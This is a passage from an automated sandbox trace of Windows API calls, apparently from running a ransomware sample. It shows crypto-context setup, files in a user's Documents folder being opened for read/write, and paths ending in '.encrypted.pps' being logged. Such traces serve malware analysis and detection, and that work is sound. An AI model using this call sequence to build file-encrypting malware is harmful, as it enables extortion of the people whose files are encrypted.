wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.297] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.299] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.299] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.299] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.300] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.300] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.301] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.301] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.302] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.302] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.302] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.302] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.302] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.302] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4887) returned 1 [0025.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.303] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1317, lpOverlapped=0x0) returned 1 [0025.303] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1317, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4887) returned 1 [0025.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0025.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\n", cchWideChar=69, lpMultiByteStr=0xe8f40519f0, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\n", lpUsedDefaultChar=0x0) returned 69 [0025.303] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069dd0*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069dd0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x44, lpOverlapped=0x0) returned 1 [0025.303] CloseHandle (hObject=0x1fc) returned 1 [0025.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.305] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.305] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.305] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.305] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.305] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.306] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.306] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178420, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.306] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.307] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.xlsx", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0025.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.xlsx", cchWideChar=70, lpMultiByteStr=0xe8f4051130, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.xlsx", lpUsedDefaultChar=0x0) returned 70 [0025.307] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\pvndpv7cycnkjebeijov.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0025.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=70, lpWideCharStr=0xe8f405fe00, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.xlsx") returned 70 [0025.308] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.308] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.309] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.309] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.309] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.309] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.309] CloseHandle (hObject=0x1fc) returned 1 [0025.309] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.310] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.310] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.310] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.310] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.310] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.310] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.311] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.311] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.311] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.311] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.312] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.312] PeekMessageW (in: 